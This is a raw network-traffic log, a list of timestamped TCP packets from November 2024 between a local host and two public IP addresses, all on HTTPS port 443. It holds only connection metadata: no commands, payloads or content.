Nov 7, 2024 23:47:42.649427891 CET	443	49855	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:42.649616003 CET	443	49855	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:42.649820089 CET	49855	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:42.649820089 CET	49855	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:42.649820089 CET	49855	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:42.652224064 CET	49860	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:42.652256966 CET	443	49860	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:42.652327061 CET	49860	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:42.652468920 CET	49860	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:42.652478933 CET	443	49860	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:42.655373096 CET	443	49856	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:42.655394077 CET	443	49856	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:42.655477047 CET	443	49856	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:42.655544043 CET	49856	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:42.655580044 CET	49856	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:42.655591965 CET	443	49856	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:42.655601025 CET	49856	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:42.655606031 CET	443	49856	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:42.657627106 CET	49861	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:42.657675982 CET	443	49861	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:42.657752991 CET	49861	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:42.657871962 CET	49861	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:42.657886982 CET	443	49861	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:42.821688890 CET	443	49852	20.190.159.2	192.168.2.5
Nov 7, 2024 23:47:42.821712017 CET	443	49852	20.190.159.2	192.168.2.5
Nov 7, 2024 23:47:42.821748972 CET	443	49852	20.190.159.2	192.168.2.5
Nov 7, 2024 23:47:42.821787119 CET	49852	443	192.168.2.5	20.190.159.2
Nov 7, 2024 23:47:42.821799994 CET	443	49852	20.190.159.2	192.168.2.5
Nov 7, 2024 23:47:42.821824074 CET	49852	443	192.168.2.5	20.190.159.2
Nov 7, 2024 23:47:42.822240114 CET	49852	443	192.168.2.5	20.190.159.2
Nov 7, 2024 23:47:42.822244883 CET	443	49852	20.190.159.2	192.168.2.5
Nov 7, 2024 23:47:42.822360039 CET	443	49852	20.190.159.2	192.168.2.5
Nov 7, 2024 23:47:42.822386026 CET	443	49852	20.190.159.2	192.168.2.5
Nov 7, 2024 23:47:42.822479010 CET	49852	443	192.168.2.5	20.190.159.2
Nov 7, 2024 23:47:42.822494984 CET	49852	443	192.168.2.5	20.190.159.2
Nov 7, 2024 23:47:42.822503090 CET	443	49852	20.190.159.2	192.168.2.5
Nov 7, 2024 23:47:42.885478973 CET	443	49857	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:42.885999918 CET	49857	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:42.886022091 CET	443	49857	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:42.886440992 CET	49857	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:42.886446953 CET	443	49857	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:42.957710028 CET	49855	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:42.957727909 CET	443	49855	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:43.015300035 CET	443	49857	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:43.015403986 CET	443	49857	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:43.015470028 CET	49857	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:43.015676022 CET	49857	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:43.015691996 CET	443	49857	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:43.047456026 CET	49862	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:43.047492981 CET	443	49862	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:43.047595978 CET	49862	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:43.047739983 CET	49862	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:43.047751904 CET	443	49862	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:43.076486111 CET	443	49858	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:43.134634018 CET	49858	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:43.163594007 CET	49858	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:43.163600922 CET	443	49858	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:43.165383101 CET	49858	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:43.165388107 CET	443	49858	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:43.289088964 CET	443	49858	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:43.289649010 CET	443	49858	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:43.289725065 CET	49858	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:43.297121048 CET	49858	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:43.297121048 CET	49858	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:43.297135115 CET	443	49858	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:43.297142982 CET	443	49858	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:43.301368952 CET	443	49859	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:43.303631067 CET	49859	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:43.303653955 CET	443	49859	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:43.304526091 CET	49859	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:43.304529905 CET	443	49859	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:43.305732965 CET	49863	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:43.305783033 CET	443	49863	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:43.305898905 CET	49863	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:43.306376934 CET	49863	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:43.306392908 CET	443	49863	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:43.391191959 CET	443	49860	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:43.391634941 CET	49860	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:43.391668081 CET	443	49860	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:43.392463923 CET	49860	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:43.392469883 CET	443	49860	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:43.405993938 CET	443	49861	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:43.406775951 CET	49861	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:43.406795025 CET	443	49861	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:43.407172918 CET	49861	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:43.407177925 CET	443	49861	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:43.435641050 CET	443	49859	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:43.435661077 CET	443	49859	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:43.435708046 CET	443	49859	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:43.435780048 CET	49859	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:43.436908960 CET	49859	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:43.436928034 CET	443	49859	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:43.436938047 CET	49859	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:43.436944962 CET	443	49859	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:43.441440105 CET	49864	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:43.441490889 CET	443	49864	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:43.441617012 CET	49864	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:43.441770077 CET	49864	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:43.441791058 CET	443	49864	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:43.521524906 CET	443	49860	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:43.521542072 CET	443	49860	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:43.521600008 CET	49860	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:43.521611929 CET	443	49860	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:43.521650076 CET	443	49860	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:43.521809101 CET	49860	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:43.521893024 CET	49860	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:43.521905899 CET	443	49860	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:43.521914959 CET	49860	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:43.521919966 CET	443	49860	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:43.524714947 CET	49865	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:43.524740934 CET	443	49865	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:43.524909973 CET	49865	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:43.525105000 CET	49865	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:43.525119066 CET	443	49865	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:43.539134979 CET	443	49861	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:43.539153099 CET	443	49861	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:43.539205074 CET	49861	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:43.539206982 CET	443	49861	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:43.539248943 CET	49861	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:43.539387941 CET	49861	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:43.539402962 CET	443	49861	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:43.539413929 CET	49861	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:43.539418936 CET	443	49861	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:43.542207003 CET	49866	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:43.542247057 CET	443	49866	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:43.542416096 CET	49866	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:43.542728901 CET	49866	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:43.542762995 CET	443	49866	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:43.763962030 CET	443	49862	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:43.764672041 CET	49862	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:43.764695883 CET	443	49862	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:43.765378952 CET	49862	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:43.765383005 CET	443	49862	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:43.891360998 CET	443	49862	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:43.891415119 CET	443	49862	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:43.891488075 CET	49862	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:43.891654015 CET	49862	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:43.891664982 CET	443	49862	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:43.891700029 CET	49862	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:43.891705036 CET	443	49862	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:43.895132065 CET	49867	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:43.895154953 CET	443	49867	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:43.895421028 CET	49867	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:43.895548105 CET	49867	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:43.895559072 CET	443	49867	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:44.033405066 CET	443	49863	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:44.034593105 CET	49863	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:44.034624100 CET	443	49863	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:44.035536051 CET	49863	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:44.035541058 CET	443	49863	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:44.162632942 CET	443	49864	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:44.163065910 CET	49864	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:44.163089991 CET	443	49864	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:44.163536072 CET	49864	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:44.163542032 CET	443	49864	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:44.179265022 CET	443	49863	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:44.179440975 CET	443	49863	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:44.179503918 CET	49863	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:44.179533958 CET	49863	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:44.179533958 CET	49863	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:44.179553986 CET	443	49863	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:44.179562092 CET	443	49863	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:44.183665037 CET	49868	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:44.183695078 CET	443	49868	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:44.183868885 CET	49868	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:44.184098005 CET	49868	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:44.184108019 CET	443	49868	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:44.273845911 CET	443	49865	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:44.277401924 CET	49865	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:44.277422905 CET	443	49865	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:44.277919054 CET	49865	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:44.277925968 CET	443	49865	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:44.290716887 CET	443	49864	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:44.290781975 CET	443	49864	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:44.290860891 CET	49864	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:44.291035891 CET	49864	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:44.291050911 CET	443	49864	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:44.291059971 CET	49864	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:44.291066885 CET	443	49864	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:44.297313929 CET	49869	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:44.297353029 CET	443	49869	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:44.297441006 CET	49869	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:44.297837973 CET	49869	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:44.297852993 CET	443	49869	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:44.316703081 CET	443	49866	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:44.320013046 CET	49866	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:44.320024967 CET	443	49866	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:44.320586920 CET	49866	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:44.320590973 CET	443	49866	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:44.405865908 CET	443	49865	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:44.405925035 CET	443	49865	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:44.406006098 CET	49865	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:44.406182051 CET	49865	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:44.406200886 CET	443	49865	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:44.406210899 CET	49865	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:44.406215906 CET	443	49865	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:44.408865929 CET	49870	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:44.408895969 CET	443	49870	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:44.408982992 CET	49870	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:44.409401894 CET	49870	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:44.409409046 CET	443	49870	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:44.446505070 CET	443	49866	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:44.446556091 CET	443	49866	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:44.448085070 CET	49866	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:44.448101044 CET	49866	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:44.448110104 CET	443	49866	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:44.448118925 CET	49866	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:44.448122978 CET	443	49866	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:44.449991941 CET	49871	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:44.450026035 CET	443	49871	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:44.452105999 CET	49871	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:44.452224970 CET	49871	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:44.452238083 CET	443	49871	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:44.633436918 CET	443	49867	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:44.636400938 CET	49867	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:44.636430025 CET	443	49867	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:44.636876106 CET	49867	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:44.636881113 CET	443	49867	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:44.764283895 CET	443	49867	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:44.764688969 CET	443	49867	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:44.764751911 CET	49867	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:44.764780998 CET	49867	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:44.764799118 CET	443	49867	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:44.764808893 CET	49867	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:44.764813900 CET	443	49867	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:44.767383099 CET	49872	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:44.767405987 CET	443	49872	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:44.767471075 CET	49872	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:44.767608881 CET	49872	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:44.767621040 CET	443	49872	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:44.912781000 CET	443	49868	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:44.913357019 CET	49868	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:44.913372040 CET	443	49868	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:44.913799047 CET	49868	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:44.913803101 CET	443	49868	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:45.041941881 CET	443	49868	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:45.042144060 CET	443	49868	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:45.044109106 CET	49868	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:45.044306993 CET	49868	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:45.044317961 CET	443	49868	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:45.044328928 CET	49868	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:45.044332981 CET	443	49868	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:45.047007084 CET	49873	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:45.047033072 CET	443	49873	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:45.047214031 CET	49873	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:45.047353983 CET	49873	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:45.047364950 CET	443	49873	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:45.154387951 CET	443	49870	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:45.154769897 CET	49870	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:45.154786110 CET	443	49870	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:45.155195951 CET	49870	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:45.155200958 CET	443	49870	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:45.177858114 CET	443	49871	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:45.178145885 CET	49871	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:45.178162098 CET	443	49871	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:45.178519964 CET	49871	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:45.178524971 CET	443	49871	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:45.284162045 CET	443	49870	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:45.284621954 CET	443	49870	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:45.288119078 CET	49870	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:45.288491964 CET	49870	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:45.288491964 CET	49870	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:45.288503885 CET	443	49870	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:45.288512945 CET	443	49870	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:45.290808916 CET	49874	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:45.290838957 CET	443	49874	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:45.290915966 CET	49874	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:45.291053057 CET	49874	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:45.291064024 CET	443	49874	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:45.306313038 CET	443	49871	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:45.306548119 CET	443	49871	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:45.306623936 CET	49871	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:45.306878090 CET	49871	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:45.306878090 CET	49871	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:45.306896925 CET	443	49871	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:45.306905031 CET	443	49871	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:45.330260038 CET	49875	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:45.330290079 CET	443	49875	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:45.330454111 CET	49875	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:45.330476046 CET	49875	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:45.330482006 CET	443	49875	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:45.521713018 CET	443	49872	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:45.544276953 CET	49872	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:45.544306993 CET	443	49872	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:45.544745922 CET	49872	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:45.544751883 CET	443	49872	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:45.637563944 CET	443	49869	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:45.671165943 CET	443	49872	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:45.671256065 CET	443	49872	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:45.671293974 CET	443	49872	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:45.671329021 CET	49872	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:45.671498060 CET	49872	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:45.682859898 CET	49869	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:45.778186083 CET	443	49873	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:45.785023928 CET	49869	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:45.785044909 CET	443	49869	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:45.785515070 CET	49869	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:45.785520077 CET	443	49869	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:45.786092997 CET	49872	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:45.786120892 CET	443	49872	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:45.786133051 CET	49872	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:45.786139011 CET	443	49872	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:45.788713932 CET	49873	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:45.788738966 CET	443	49873	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:45.789182901 CET	49873	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:45.789187908 CET	443	49873	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:45.793041945 CET	49876	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:45.793076992 CET	443	49876	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:45.793123007 CET	49876	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:45.793380976 CET	49876	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:45.793395042 CET	443	49876	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:45.910037041 CET	443	49869	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:45.910095930 CET	443	49869	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:45.910152912 CET	49869	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:45.912147045 CET	49869	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:45.912161112 CET	443	49869	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:45.912172079 CET	49869	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:45.912177086 CET	443	49869	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:45.914531946 CET	443	49873	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:45.914738894 CET	443	49873	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:45.914809942 CET	49873	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:45.919862032 CET	49873	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:45.919878960 CET	443	49873	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:45.919893980 CET	49873	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:45.919899940 CET	443	49873	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:45.945305109 CET	49877	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:45.945326090 CET	443	49877	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:45.945383072 CET	49877	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:45.951777935 CET	49877	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:45.951787949 CET	443	49877	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:45.967027903 CET	49878	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:45.967044115 CET	443	49878	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:45.967094898 CET	49878	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:45.970397949 CET	49878	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:45.970411062 CET	443	49878	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:46.019364119 CET	443	49874	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:46.025784016 CET	49874	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:46.025801897 CET	443	49874	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:46.031152964 CET	49874	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:46.031158924 CET	443	49874	13.107.246.45	192.168.2.5
